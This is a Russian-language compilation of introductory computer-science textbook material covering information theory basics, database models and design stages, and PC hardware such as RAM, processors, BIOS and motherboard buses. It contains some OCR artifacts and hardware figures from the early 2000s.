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1 Понятие информации

Информация — это сведения, знания и сообщения, получаемые человеком из различных источников. Информацию можно рассматривать и как свойство

материи. Она создает представление о ее природе и

структуре, упорядоченности, разнообразии и т.д. Она

не может существовать вне материи, а значит, она существовала

и будет существовать вечно, ее можно накапливать,

хранить, перерабатывать.

Информация должна быть достоверной, понятной,

актуальной, полной и полезной.

Все многообразие окружающей нас информации

можно сгруппировать по различным признакам:

— по области возникновения. Информация, отражающая

процессы, явления неодушевленной природы

называется элементарной или механической,

процессы животного и растительного мира —

биологической, человеческого общества — социальной;

— по способу передачи и восприятия. Информацию,

передаваемую видимыми образами и символами,

называют визуальной, звуками — аудиальной,

ощущениями — тактильной, запахами и вкусами

— органолептической; информацию, выдаваемую

и воспринимаемую средствами вычислительной

техники, — машинной.

— по общественному назначению информацию

можно разбить на три вида: личная, массовая и

специальная.

Все действия, связанные с получением, передачей,

хранением и переработкой информации называются

информационными процессами.

Процесс передачи информации от человека к человеку

двусторонний: есть источник и есть приемник

информации. В настоящее время информация может

быть передана с помощью технических средств связи,

таких как телефон, радио, телевидение, Интернет. Эти

технические средства называются каналами передачи

информации. Количество информации, передаваемое

за единицу времени по информационному каналу, называется

скоростью передачи информации, или скоростью

информационного потока.

Процесс хранения информации заключается в

том, что человек запоминает информацию в собственной

памяти, либо заносит ее на внешний носитель информации.

Процессом обработки информации называется

ее преобразование по каким-либо правилам или законам.

Количество информации зависит от новизны сведений

об интересном для получателя информации явлении,

другими словами, получая информацию, мы

уменьшаем неполноту знаний, т.е. неопределенность.

Если в результате полученного сообщения неопределенность

полностью исчезнет, то есть будет достигнута

полная ясность, то говорят, что полученная информация

была исчерпывающей, полной.

Информацию можно понимать как результат интерпретации

/ сообщения г. Информационной системе

Как сдать заочен и централизованное тестирование по информатике на 100 баллов 36

обычно ставят в соответствие понятие отображения из

математики. Если имеется точно описанное множество

R представлений с интерпретацией I в множестве А

элементов (информации), то интерпретации соответствует

отображение /: R-+A. С этой точки зрения интерпретация

сообщению г ставит в соответствие абстрактное

содержание/(Л). Такой подход позволяет описывать

процессы преобразования информации с помощью

математических формул.

Большой вклад в теорию информации внес К. Шеннон.

В частности, он ввел количественную оценку информации,

как меру снятой неопределенности. Для

понимания формулы количества информации необходимо

ознакомиться с понятием случайных процессов

как математической модели сигналов, с понятием энтропии

и неопределенности.

Концепция К. Шеннона, отражая количественно-

информационный подход, определяет информацию как

меру неопределенности (энтропию) события. Количество

информации в том или ином случае зависит от

вероятности его получения: чем более вероятным является

сообщение, тем меньше информации содержится

в нем. Этот подход оказался весьма полезным в технике

связи и вычислительной технике и послужил основой

для измерения информации и оптимального кодирования

сообщений. Кроме того, он представляется

удобным для иллюстрации такого важного свойства

информации, как новизна, неожиданность сообщений.

При таком понимании информация — это снятая неопределенность, или результат выбора из набора возможных

альтернатив.

Обмен информацией происходит при помощи сигналов.

Сигналы, передаваемые по радио и телевидению,

а также используемое в магнитной записи имеют

форму непрерывных быстро изменяющихся во времени

кривых линий. Такие сигналы называются непрерывными

или аналоговыми сигналами. В противоположность

этому в телеграфии и вычислительной технике

сигналы имеют импульсную форму и именуются

дискретными сигналами. Другими словами, информация

передается в двух формах: дискретной и аналоговой.

Для определения количества любой информации,

как символьной, так и текстовой или графической, нужно

найти способ представить ее в едином, стандартном,

виде. Таким видом стала двоичная форма представления

информации — записи любой информации в виде

последовательности только двух символов, например:

цифрами 0 или 1,буквами А или Б; словами ДА, НЕТ.

Однако ради простоты записи применяют цифры 1 и 0.

В компьютере эти сигналы рассматриваются как наличие

или отсутствие напряжения.

Можно пояснить принцип информации в двоичной

форме, проведя следующую игру. Нам нужно получить

интересующую нас информацию у собеседника, задавая

любые вопросы, но получая в ответ ДА либо НЕТ.

Для получения двоичной формы информации необходимо

перечисление всех возможных событий. Например,

задаем один вопрос: «Вы сегодня обедали?» С

одинаковой вероятностью следует ожидать ответ: «ДА»

или «НЕТ», причем любой из этих ответов несет самое

малое количество информации. Эта минимальная единица

измерения информации называют БИТОМ. Благодаря

введению понятия единицы информации появилась

возможность определения размера любой информации

в битах.

Для измерения больших объемов информации применяют

такие единицы, как БАЙТ, который равен 8

БИТ, килобайт (КБАЙТ) =1024 БАЙТ, мегабайт

(МБАЙТ) = 1024 КБАЙТ и т.д.

[7]
 Информационный ресурс — концентрация имеющихся фактов, документов, данных и знаний, отражающих реальное изменяющееся во времени состояние общества, и используемых при подготовке кадров, в научных исследованиях и материальном производстве [14, 37].

Факты — результат наблюдения за состоянием предметной области.

Документы — часть информации, определенным образом структурированная и занесенная на бумажный носитель.

Данные — вид информации, отличающийся высокой степенью форматированности в отличие от более свободных структур, характерных для речевой, текстовой и визуальной информации.

Знания — итог теоретической и практической деятельности человека, отражающий накопление предыдущего опыта и отличающийся высокой степенью структурированности.

Можно выделить три основных вида знаний:

•   декларативные (факторальные), представляющие общее описание объекта, что не позволяет использовать их без предварительной структуризации в конкретной предметной области;

•   понятийные (системные), содержащие помимо первых, взаимосвязи между понятиями и свойства понятий;

•   процедурные (алгоритмические), позволяющие получить алгоритм решения.
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Рисунок  1  -  Формирование информации [5]
1.1 Системы счисления; перевод чисел из одной системы счисления в другую [1]
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2  Базы данных

[8]
2.1 Структура БД

Организация структуры БД формируется исходя из следующих соображений:

Адекватность описываемому объекту/системе — на уровне концептуальной и логической модели. 

Удобство использования для ведения учёта и анализа данных — на уровне так называемой физической модели. 

Виды концептуальных (инфологических) моделей БД: «сущность-связь», семантические, графовые

Виды логических (даталогических) моделей БД:

Документальные (архивы) — ориентированные на формат документа, дескрипторные, тезаурусные. 

Фактографические (картотеки) 

теоретико-графовые: иерархическая модель, сетевая модель.

теоретико-множественные: реляционная модель (ER-модель), многомерная модель.

объектно-ориентированные: объектная модель.

основанные на инвертированных файлах.

Таким образом, по модели представления данных БД классифицируются:

1. Картотеки (Электронным аналогом картотеки является таблица базы данных. Одна карта соответствует одной строке электронной таблицы.)
2. Иерархические 

3. Сетевые 

4. Реляционные 

5. Многомерные 

6. Объектно-ориентированные
2.2 Иерархическая модель базы данных 

состоит из объектов с указателями от родительских объектов к потомкам, соединяя вместе связанную информацию.

Иерархические базы данных могут быть представлены как дерево, состоящее из объектов различных уровней. Верхний уровень занимает один объект, второй — объекты второго уровня и т. д.

Между объектами существуют связи, каждый объект может включать в себя несколько объектов более низкого уровня. Такие объекты находятся в отношении предка (объект более близкий к корню) к потомку (объект более низкого уровня), при этом возможно, когда объект-предок не имеет потомков или имеет их несколько, тогда как у объекта-потомка обязательно только один предок. Объекты, имеющие общего предка, называются близнецами.

Основными информационными единицами в иерархической модели данных являются сегмент и поле. Поле данных определяется как наименьшая неделимая единица данных, доступная пользователю. Для сегмента определяются тип сегмента и экземпляр сегмента. Экземпляр сегмента образуется из конкретных значений полей данных. Тип сегмента — это поименованная совокупность входящих в него типов полей данных. Как и сетевая, иерархическая модель данных базируется на графовой форме построения данных, и на концептуальном уровне она является просто частным случаем сетевой модели данных. В иерархической модели данных вершине графа соответствует тип сегмента или просто сегмент, а дугам — типы связей предок — потомок. В иерархических структуpax сегмент — потомок должен иметь в точности одного предка. Иерархическая модель представляет собой связный неориентированный гpaф древовидной структуры, объединяющий сегменты. Иерархическая БД состоит из упорядоченного набора деревьев.

2.3 Сетевая модель базы данных

К основным понятиям относятся: уровень, элемент (узел), связь.

Узел — это совокупность атрибутов данных, описывающих некоторый объект. На схеме иерархического дерева узлы представляются вершинами графа. В сетевой структуре каждый элемент может быть связан с любым другим элементом.

Сетевые базы данных подобны иерархическим, за исключением того, что в них имеются указатели в обоих направлениях, которые соединяют родственную информацию.

2.4 Этапы проектирования базы данных

1. Концептуальное проектирование — сбор, анализ и редактирование требований к данным. Для этого осуществляются следующие мероприятия:

· обследование предметной области, изучение ее информационной структуры 

· выявление всех фрагментов, каждый из которых характеризуется пользовательским представлением, информационными объектами и связями между ними, процессами над информационными объектами 

· моделирование и интеграция всех представлений 

По окончании данного этапа получаем концептуальную модель, инвариантную к структуре базы данных. Часто она представляется в виде модели «сущность-связь».

2. Логическое проектирование — преобразование требований к данным в структуры данных. На выходе получаем СУБД-ориентированную структуру базы данных и спецификации прикладных программ. На этом этапе часто моделируют базы данных применительно к различным СУБД и проводят сравнительный анализ моделей.

3. Физическое проектирование — определение особенностей хранения данных, методов доступа и т. д.

Различие уровней представления данных на каждом этапе проектирования реляционной базы данных:

КОНЦЕПТУАЛЬНЫЙ УРОВЕНЬ — Представление аналитика (используется инфологическая модель «сущность-связь»)

   * сущности

   * атрибуты

   * связи

ЛОГИЧЕСКИЙ УРОВЕНЬ — Представление программиста

   * записи

   * элементы данных

   * связи между записями

ФИЗИЧЕСКИЙ УРОВЕНЬ — Представление администратора

   * группирование данных

   * индексы

   * методы доступа
[image: image7.emf]
Основные определения реляционных БД
3 Технические средства

[9]
3.3. Системы, расположенные на материнской плате

Оперативная память

Оперативная память (RAM — Random Access Memory) — это массив кристаллических ячеек, способных хранить данные. Существует много различных типов оперативной памяти, но с точки зрения физического принципа действия различают динамическую память (DRAM) и статическую память (SRAM).

Ячейки динамической памяти (DRAM) можно представить в виде микроконденсаторов, способных накапливать заряд на своих обкладках. Это наиболее распространенный и экономически доступный тип памяти. Недостатки этого типа связаны, во-первых, с тем, что как при заряде, так и при разряде конденсаторов неизбежны переходные процессы, то есть запись данных происходит сравнительно медленно. 
Второй важный недостаток связан с тем, что заряды ячеек имеют свойство рассеиваться в пространстве, причем весьма быстро. Если оперативную память постоянно не «подзаряжать», утрата данных происходит через несколько сотых долей секунды. 
Для борьбы с этим явлением в компьютере происходит постоянная регенерация (освежение, подзарядка) ячеек оперативной памяти. Регенерация осуществляется несколько десятков раз в секунду и вызывает непроизводительный расход ресурсов вычислительной системы.

Ячейки статической памяти (SRAM) можно представить как электронные микроэлементы — триггеры, состоящие из нескольких транзисторов. В триггере хранится не заряд, а состояние (включен/выключен), поэтому этот тип памяти обеспечивает более высокое быстродействие, хотя технологически он сложнее и, соответственно, дороже.

Микросхемы динамической памяти используют в качестве основной оперативной памяти компьютера. Микросхемы статической памяти используют в качестве вспомогательной памяти (так называемой кэш-памяти), предназначенной для оптимизации работы процессора.

Каждая ячейка памяти имеет свой адрес, который выражается числом. В большинстве современных процессоров предельный размер адреса обычно составляет 32 разряда, а это означает, что всего независимых адресов может быть 2^^. Одна адресуемая ячейка содержит восемь двоичных ячеек, в которых можно сохранить 8 бит, то есть один байт данных.

Таким образом, в современных компьютерах возможна непосредственная адресация к полю памяти размером 2^^ байт = 4 Гбайт. Однако это отнюдь не означает, что именно столько оперативной памяти непременно должно быть в компьютере. Предельный размер поля оперативной памяти, установленной в компьютере, определяется микропроцессорным комплектом (чипсетом) материнской платы и обычно не может превосходить нескольких Гбайт. Минимальный объем памяти определяется требованиями операционной системы и для современных компьютеров составляет 128 Мбайт.

Представление о том, сколько оперативной памяти должно быть в типовом компьютере, непрерывно меняется. В середине 80-х годов поле памяти размером 1 Мбайт казалось огромным, в начале 90-х годов достаточным считался объем 4 Мбайт, к середине 90-х годов он увеличился до 8 Мбайт, а затем и до 16 Мбайт. Сегодня типичным считается размер оперативной памяти в 256 Мбайт, но тенденция к росту сохраняется.

Оперативная память в компьютере размещается на стандартных панельках, называемых модулями. Модули оперативной памяти вставляют в соответствующие разъемы на материнской плате. Если к разъемам есть удобный доступ, то операцию можно выполнять своими руками. Если удобного доступа нет, может потребоваться неполная разборка узлов системного блока, и в таких случаях операцию поручают специалистам. 
В современных компьютерах обычно применяют три типа модулей оперативной памяти. Модули памяти SDRAM (DIMM-модули) сегодня уже считаются устаревшими и используются в компьютерах прошлых поколений. Наиболее распространены модули типа DDR SDRAM (DDR DIMM), обеспечивающие более быстрый доступ к памяти. Модули типа RDRAM (RIMM - модули) применяются на некоторых компьютерах с процессором Pentium 4, но стоят заметно дороже и поэтому менее распространены.
Основными характеристиками модулей оперативной памяти являются объем памяти и скорость передачи данных. Сегодня наиболее распространены модули объемом 128-512 Мбайт. Скорость передачи данных определяет максимальную пропускную способность памяти (в Мбайт/с или Гбайт/с) в оптимальном режиме доступа.

При этом учитывается время доступа к памяти, ширина шины и дополнительные возможности, такие как передача нескольких сигналов за один такт работы. Одинаковые по объему модули могут иметь разные скоростные характеристики. 

Иногда в качестве определяющей характеристики памяти используют время доступа. Оно измеряется в миллиардных долях секунды {наносекундах, не). Для современных модулей памяти это значение может составлять 5 нc, а для особо быстрой памяти, используемой в основном в видеокартах, — снижаться до 2-3 нc.

Процессор

Процессор — основная микросхема компьютера, в которой и производятся все вычисления. Конструктивно процессор состоит из ячеек, похожих на ячейки оперативной памяти, но в этих ячейках данные могут не только храниться, но и изменяться.

Внутренние ячейки процессора называются регистрами. Важно также отметить, что данные, попавшие в некоторые регистры, рассматриваются не как данные, а как команды, управляющие обработкой данных в других регистрах. Среди регистров процессора есть и такие, которые в зависимости от своего содержания способны модифицировать исполнение команд. Таким образом, управляя засылкой данных в разные регистры процессора, можно управлять обработкой данных. На этом и основано исполнение программ.

С остальными устройствами компьютера, и в первую очередь с оперативной памятью, процессор связан несколькими группами проводников, называемых шинами. Основных шин три: шина данных, адресная шина и командная шина.

Адресная шина. У процессоров семейства Pentium (а именно они наиболее распространены в персональных компьютерах) адресная шина 32-разрядная, то есть состоит из 32 параллельных проводников. В зависимости от того, есть напряжение на какой-то из линий или нет, говорят, что на этой линии выставлена единица или ноль.

Комбинация из 32 нулей и единиц образует 32-разрядный адрес, указывающий на одну из ячеек оперативной памяти. К ней и подключается процессор для копирования данных из ячейки в один из своих регистров.

Шина данных. По этой шине происходит копирование данных из оперативной памяти в регистры процессора и обратно. В современных персональных компьютерах шина данных, как правило, 64-разрядная, то есть состоит из 64 линий, по которым за один раз на обработку поступают сразу 8 байтов.

Шина команд. Для того чтобы процессор мог обрабатывать данные, ему нужны команды. Он должен знать, что следует сделать с теми байтами, которые хранятся в его регистрах. Эти команды поступают в процессор тоже из оперативной памяти, но не из тех областей, где хранятся массивы данных, а оттуда, где хранятся программы.

Команды тоже представлены в виде байтов. Самые простые команды укладываются в один байт, однако есть и такие, для которых нужно два, три и более байтов. В большинстве современных процессоров шина команд 32-разрядная, хотя существуют 64-разрядные процессоры и даже 128-разрядные.

Система команд процессора. В процессе работы процессор обслуживает данные, находящиеся в его регистрах, в поле оперативной памяти, а также данные, находящиеся во внешних портах процессора. Часть данных он интерпретирует непосредственно как данные, часть данных — как адресные данные, а часть — как команды.

Совокупность всех возможных команд, которые может выполнить процессор над данными, образует так называемую систему команд процессора. Процессоры, относящиеся к одному семейству, имеют одинаковые или близкие системы команд. 
Процессоры, относящиеся к разным семействам, различаются по системе команд и невзаимозаменяемы.

Процессоры с расширенной и сокращенной системой команд. Чем шире набор системных команд процессора, тем сложнее его архитектура, тем длиннее формальная запись команды (в байтах), тем выше средняя продолжительность исполнения одной команды, измеренная в тактах работы процессора. Так, например, система команд процессоров семейства Pentium в настоящее время насчитывает более тысячи различных команд. Такие процессоры называют процессорами с расширенной системой команд — CISС-процессорами (CISC — Complex Instruction Set Computing).

В противоположность СISC-процессорам в середине 80-х годов появились процессоры архитектуры RISC с сокращенной системой команд (RISC — Reduced Instmction Set Computing). При такой архитектуре количество команд в системе намного меньше и каждая из них выполняется намного быстрее. Таким образом, программы, состоящие из простейших команд, выполняются этими процессорами много быстрее.

Оборотная сторона сокращенного набора команд состоит в том, что сложные операции приходится эмулировать далеко не эффективной последовательностью простейших команд сокращенного набора.

В результате конкуренции между двумя подходами к архитектуре процессоров сложилось следующее распределение их сфер применения: • CISС-процессоры используют в универсальных вычислительных системах; RISC -процессоры используют в специализированных вычислительных системах или устройствах, ориентированных на выполнение единообразных операций.

Персональные компьютеры платформы IBM РС ориентированы на использование CISС -процессоров.

Совместимость процессоров. Если два процессора имеют одинаковую систему команд, то они полностью совместимы на программном уровне. Это означает, что программа, написанная для одного процессора, может исполняться и другим процессором. Процессоры, имеющие разные системы команд, как правило, несовместимы или ограниченно совместимы на программном уровне.

Группы процессоров, имеющих ограниченную совместимость, рассматривают как семейства процессоров. Так, например, все процессоры Intel Pentium относятся к так называемому семейству x86. Родоначальником этого семейства был 16-разрядный процессор Intel 8086, на базе которого собиралась первая модель компьютера IBM PC. Впоследствии выпускались процессоры Intel 80286, Intel 80386, Intel 80486, несколько моделей Intel Pentium; несколько моделей Intel Pentium ММХ, модели Intel Pentium Pro, Intel Pentium II, Intel Celeron, Intel Xeon, Intel Pentium III, Intel Pentium 4 и другие. Все эти модели, и не только они, а также многие модели процессоров компании AMD и некоторых других производителей относятся к семейству х86 и обладают совместимостью по принципу «сверху вниз».

Принцип совместимости «сверху вниз» — это пример неполной совместимости, когда каждый новый процессор «понимает» все команды своих предшественников, но не наоборот. Это естественно, поскольку двадцать лет назад разработчики процессоров не могли предусмотреть систему команд, нужную для современных программ.

Благодаря такой совместимости на современном компьютере можно выполнять любые программы, созданные в последние десятилетия для любого из предшествующих компьютеров, принадлежащего той же аппаратной платформе.

Основные параметры процессоров. Основными параметрами процессоров являются: рабочее напряжение, разрядность, рабочая тактовая частота, коэффициент внутреннего умножения тактовой частоты и размер кэш-памяти.

Рабочее напряжение процессора обеспечивает материнская плата, поэтому разным маркам процессоров соответствуют разные материнские платы (их надо выбирать совместно). По мере развития процессорной техники происходит постепенное понижение рабочего напряжения. Ранние модели процессоров х86 имели рабочее напряжение 5 В. С переходом к процессорам Intel Pentium оно было понижено до 3,3 В, а в настоящее время оно составляет менее 2 В. Понижение рабочего напряжения позволяет уменьшить расстояния между структурными элементами в кристалле процессора до десятитысячных долей миллиметра, не опасаясь электрического пробоя. Пропорционально квадрату напряжения уменьшается и тепловыделение в процессоре, а это позволяет увеличивать его производительность без угрозы перегрева.

Разрядность процессора показывает, сколько бит данных он может принять и обработать в своих регистрах за один раз {за один такт). Первые процессоры x86 были 16-разрядными. Начиная с процессора 80386 они имеют 32-разрядную архитектуру.

Современные процессоры семейства Intel Pentium остаются 32-разрядными, хотя и работают с 64-разрядной шиной данных (разрядность процессора определяется не разрядностью шины данных, а разрядностью командной шины). В ближайшем будущем предполагается проникновение 64-разрядных процессоров на персональные компьютеры.

В основе работы процессора лежит тот же тактовый принцип, что и в обычных часах. Исполнение каждой команды занимает определенное количество тактов. В настенных часах такты колебаний задает маятник; в ручных механических часах их задает пружинный маятник; в электронных часах для этого есть колебательный контур, задающий такты строго определенной частоты. В персональном компьютере тактовые импульсы задает одна из микросхем, входящая в микропроцессорный комплект (чипсет), расположенный на материнской плате. Чем выше частота тактов, поступающих на процессор, тем больше команд он может исполнить в единицу времени, тем выше его производительность. Первые процессоры х86 могли работать с частотой не выше 4,77 МГц, а сегодня рабочие частоты некоторых процессоров уже превосходят 3 миллиарда тактов в секунду (3 ГГц). 

Тактовые сигналы процессор получает от материнской платы, которая, в отличие от процессора, представляет собой не кристалл кремния, а большой набор проводников и микросхем. По чисто физическим причинам материнская плата не может работать со столь высокими частотами, как процессор. Сегодня базовая частота материнской платы составляет 100-200 МГц. Для получения более высоких частот в процессоре происходит внутреннее умножение частоты. Коэффициент внутреннего умножения в современных процессорах может достигать 10-20 и выше.

Обмен данными внутри процессора происходит в несколько раз быстрее, чем обмен с другими устройствами, например с оперативной памятью. Для того чтобы уменьшить количество обращений к оперативной памяти, внутри процессора создают буферную область — так называемую кэш-память. Это как бы «сверхоперативная память». Когда процессору нужны данные, он сначала обращается в кэш-память, и' только если там нужных данных нет, происходит его обращение в оперативную память. Принимая блок данных из оперативной памяти, процессор заносит его одновременно и в кэш-память. «Удачные» обращения в кэш-память называют попаданиями в кэш. Процент попаданий тем выше, чем больше размер кэш-памяти, поэтому высокопроизводительные процессоры комплектуют повышенным объемом кэшпамяти.

Нередко кэш-память распределяют по нескольким уровням. Кэш первого уровня выполняется в том же кристалле, что и сам процессор, и имеет объем порядка десятков Кбайт. Кэш второго уровня находится либо в кристалле процессора, либо в том же узле, что и процессор, хотя и исполняется на отдельном кристалле. Кэшпамять первого и второго уровня работает на частоте, согласованной с частотой ядра процессора.

Кэш-память третьего уровня выполняют на быстродействующих микросхемах типа SRAM и размещают на материнской плате вблизи процессора. Ее объемы могут достигать нескольких Мбайт, но работает она на частоте материнской платы.

Микросхема ПЗУ и система BIOS

В момент включения компьютера в его оперативной памяти нет ничего — ни данных, ни программ, поскольку оперативная память не может ничего хранить без подзарядки ячеек более сотых долей секунды, но процессору нужны команды, в том числе и в первый момент после включения. Поэтому сразу после включения на адресной шине процессора выставляется стартовый адрес. Это происходит аппаратно, без участия программ (всегда одинаково). Процессор обращается по выставленному адресу за своей первой командой и далее начинает работать по программам. 
Этот исходный адрес не может указывать на оперативную память, в которой пока ничего нет. Он указывает на другой тип памяти — постоянное запоминающее устройство (ПЗУ). Микросхема ПЗУ способна длительное время хранить информацию, даже когда компьютер выключен. Программы, находящиеся в ПЗУ, называют «зашитыми» — их записывают туда на этапе изготовления микросхемы. 
Комплект программ, находящихся в ПЗУ, образует базовую систему ввода-вывода (BIOS — Basic Input Output System). Основное назначение программ этого пакета состоит в том, чтобы проверить состав и работоспособность компьютерной системы и обеспечить взаимодействие с клавиатурой, монитором, жестким диском и дисководом гибких дисков. Программы, входящие в BIOS, позволяют нам наблюдать на экране диагностические сообщения, сопровождающие запуск компьютера, а также вмешиваться в ход запуска с помощью клавиатуры.

Энергонезависимая память CMOS

Выше мы отметили, что работа таких стандартных устройств, как клавиатура, может обслуживаться программами, входящими в BIOS, но такими средствами нельзя обеспечить работу со всеми возможными устройствами. Так, например, изготовители BIOS абсолютно ничего не знают о параметрах наших жестких и гибких дисков, им не известны ни состав, ни свойства произвольной вычислительной системы.

Для того чтобы начать работу с другим оборудованием, программы, входящие в состав BIOS, должны знать, где можно найти нужные параметры. По очевидным причинам их нельзя хранить ни в оперативной памяти, ни в постоянном запоминающем устройстве.

Специально для этого на материнской плате есть микросхема «энергонезависимой памяти», до технологии изготовления называемая CMOS. От оперативной памяти она отличается тем, что ее содержимое не стирается во время выключения компьютера, а от ПЗУ она отличается тем, что данные в нее можно заносить и изменять самостоятельно, в соответствии с тем, какое оборудование входит в состав системы.

Эта микросхема постоянно подпитывается от небольшой аккумуляторной батарейки, расположенной на материнской плате. Заряда этой батарейки хватает на то, чтобы микросхема не теряла данные, даже если компьютер не будут включать месяцами. В микросхеме CMOS хранятся данные о гибких и жестких дисках, о процессоре, о некоторых других устройствах материнской платы. Тот факт, что компьютер четко отслеживает время и календарь (даже и в выключенном состоянии), тоже связан с тем, что показания системных часов постоянно хранятся (и изменяются) в CMOS.

Таким образом, программы, записанные в BIOS, считывают данные о составе оборудования компьютера из микросхемы CMOS, после чего они могут выполнить обращение к жесткому диску, а в случае необходимости и к гибкому, и передать управление тем программам, которые там записаны.

Шинные интерфейсы материнской платы

Связь между всеми собственными и подключаемыми устройствами материнской платы выполняют ее шины и логические устройства, размещенные в микросхемах микропроцессорного комплекта (чипсета). От архитектуры этих элементов во многом зависит производительность компьютера.

ISA. Историческим достижением компьютеров платформы IВМ PC стало внедрение почти двадцать лет назад архитектуры, получившей статус промышленного стандарта ISA {Industry Standard Architecture). Она не только позволила связать все устройства системного блока между собой, но и обеспечила простое подключение новых устройств через стандартные разъемы (слоты). Пропускная способность шины, выполненной по такой архитектуре, составляет до 5,5 Мбайт/с, но, несмотря на низкую пропускную способность, эта шина еще может использоваться в некоторых компьютерах для подключения сравнительно «медленных» внешних устройств, например звуковых карт и модемов.

EISA. Расширением стандарта ISA стал стандарт EISA (Extended ISA), отличающийся увеличенным разъемом и увеличенной производительностью (до 32 Мбайт/с). Как и ISA в настоящее время данный стандарт считается устаревшим. После 2000 года выпуск материнских плат с разъемами ISA/EISA и устройств, подключаемых к ним, практически прекращен.

VLB. Название интерфейса переводится как локальная шина стандарта VESA (VESA Local Bus). Понятие «локальной шины» впервые появилось в конце 80-х годов. Оно связано тем, что при внедрении процессоров третьего и четвертого поколений (Intel 80386 и Intel 80486) частоты основной шины (в качестве основной использовалась шина ISA/EISA) стало недостаточно для обмена между процессором и оперативной памятью. Локальная шина, имеющая повышенную частоту, связала между собой процессор и память в обход основной шины. Впоследствии в эту шину «врезали» интерфейс для подключения видеоадаптера, который тоже требует повышенной пропускной способности, — так появился стандарт VLB, который позволил поднять тактовую частоту локальной шины до 50 МГц и обеспечил пиковую пропускную способность до 130 Мбайт/с.

Основным недостатком интерфейса VLB стало то, что предельная частота локальной шины и, соответственно, ее пропускная способность зависят от числа устройств, подключенных к шине. Так, например, при частоте 50 МГц к шине может быть подключено только одно устройство (видеокарта). Для сравнения скажем, что при частоте 40 МГц возможно подключение двух, а при частоте 33 МГц — трех устройств.

Активное использование шины VLB продолжалось очень недолго, она была вскоре вытеснена шиной PCI.

PCI. Интерфейс PCI (Peripheral Component Interconnect — стандарт подключения внешних компонентов) был введен в персональных компьютерах во времена процессора 80486 и первых версий Pentium. По своей сути это тоже интерфейс локальной шины, связывающей процессор с оперативной памятью, в которую врезаны разъемы для подключения внешних устройств. Для связи с основной шиной компьютера (ISA/EISA) используются специальные интерфейсные преобразователи — мосты PCI (PCI Bridge). В современных компьютерах функции моста PC/выполняют микросхемы микропроцессорного комплекта (чипсета).

Данный интерфейс поддерживает частоту шины 33 МГц и обеспечивает пропускную способность 132 Мбайт/с. Последние версии интерфейса поддерживают частоту до 66 МГц и обеспечивают производительность 264 Мбайт/с для 32-разрядных данных и 528 Мбайт/с для 64-разрядных данных.

Важным нововведением, реализованным этим стандартом, стала поддержка так называемого режима plug-and-play, впоследствии оформившегося в промышленный стандарт на самоустанавливающиеся устройства. Его суть состоит в том, что после физического подключения внешнего устройства к разъему шины PCI происходит обмен данными между устройством и материнской платой, в результате которого устройство автоматически получает номер используемого прерывания, адрес порта подключения и номер канала прямого доступа к памяти. Конфликты между устройствами за обладание одними и теми же ресурсами (номерами прерываний, адресами портов и каналами прямого доступа к памяти) вызывают массу проблем у пользователей при установке устройств, подключаемых к шине ISA, С появлением интерфейса PCI и с оформлением стандарта plug-and play появилась возможность выполнять установку новых устройств с помощью автоматических программных средств — эти функции во многом были возложены на операционную систему.

FSB. Шина PCI, появившаяся в компьютерах на базе процессоров Intel Pentium как локальная шина, предназначенная для связи процессора с оперативной памятью, недолго оставалась в этом качестве. Сегодня она используется только как шина для подключения внешних устройств, а для связи процессора и памяти, начиная с процессора Intel Pentium Pro, используется специальная шина, получившая название Front Side Bus (FSB). Эта шина работает на частоте 100-200 МГц. Частота шины FSB является одним из основных потребительских параметров — именно он и указывается в спецификации материнской платы. Современные типы памяти (DDR SDRAM, RDRAM) способны передавать несколько сигналов за один такт шины FSB, что повышает скорость обмена данными с оперативной памятью.

AGP. Видеоадаптер — устройство, требующее особенно высокой скорости передачи данных. Как при внедрении локальной шины VLB, так и при внедрении локальной шины PCI видеоадаптер всегда был первым устройством, «врезаемым» в новую шину. Когда параметры шины PC/перестали соответствовать требованиям видеоадаптеров, для них была разработана отдельная шина, получившая название AGP (Advanced Graphic Port — усовершенствованный графический порт). Частота этой шины соответствует частоте шины PCI(33 МГц или 66 МГц), но она имеет много более высокую пропускную способность за счет передачи нескольких сигналов за один такт. Число сигналов, передаваемых за один такт, указывается в виде множителя, например AGР4х (в этом режиме скорость передачи достигает 1066 Мбайт/с).

Последняя версия шины AGP имеет кратность 8х. 

PCMCIA (Personal Computer Memory Card International Association — стандарт международной ассоциации производителей плат памяти для персональных компьютеров). Этот стандарт определяет интерфейс подключения плоских карт памяти небольших размеров и используется в портативных персональных компьютерах.

USB (Universal Serial Bus — универсальная последовательная магистраль). Это одно из последних нововведений в архитектурах материнских плат. Этот стандарт определяет способ взаимодействия компьютера с периферийным оборудованием. Он позволяет подключать до 256 различных устройств, имеющих последовательный интерфейс. Устройства могут включаться цепочками (каждое следующее устройство подключается к предыдущему). Производительность шины USB относительно невелика, но вполне достаточна для таких устройств, как клавиатура, мышь, модем, джойстик, принтер и т. п. Удобство шины состоит в том, что она практически исключает конфликты между различным оборудованием, позволяет подхшючать и отключать устройства в «горячем режиме» (не выключая компьютер) и позволяет объединять несколько компьютеров в простейшую локальную сеть без применения специального оборудования и программного обеспечения.

Функции микропроцессорного комплекта (чипсета)

Параметрымикропроцессорного комплекта (чипсета) в наибольшей степени определяют свойства и функции материнской платы. В настоящее время большинство чипсетов материнских плат выпускаются на базе двух микросхем, исторически получивших название «северный мост» и «южный мост». 
«Северный мост» обычно управляет взаимосвязью процессора, оперативной памяти и порта А GP.

«Южный мост» называют также функциональным контроллером. Он выполняет функции контроллера жестких и гибких дисков, функции контроллера шины PCI, моста ISA — PCI, контроллера клавиатуры, мыши, шины USB и т. п.

У предыдущих поколений материнских плат связь между северным и южном мостом обеспечивала шина PCI, контроллер которой располагался в северном мосте. У современных материнских плат мосты соединены новой шиной повышенной производительности, а контроллер шины PCI находится в южном мосте вместе с контроллерами всех прочих устройств.
[5]
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Рис. 2.16. Архитектура процессора 

сложным функциональным устройством процессора является  устройство управления выполнением команд. Оно содержит:  • буфер команд, который хранит одну или несколько очередных  команд программы; читает следующие команды из  запоминающего устройства, пока выполняется очередная команда,  уменьшая время ее выборки из памяти; 

• дешифратор команд расшифровывает код операции очередной  команды и преобразует его в адрес начала микропрограммы,  которая реализует исполнение команды; 

• управление выборкой очередной микрокоманды представляет собой небольшой процессор, работающий по принципу фон Неймана, имеет свой счетчик микрокоманд, который автоматически  выбирает очередную микрокоманду из ПЗУ микрокоманд; 

• постоянное запоминающее устройство (ПЗУ) микрокоманд — это запоминающее устройство, в которое информация  записывается однократно и затем может только считываться;  отличительной особенностью ПЗУ является то, что записанная в него информация сохраняется сколь угодно долго и не требует постоянного питающего напряжения.

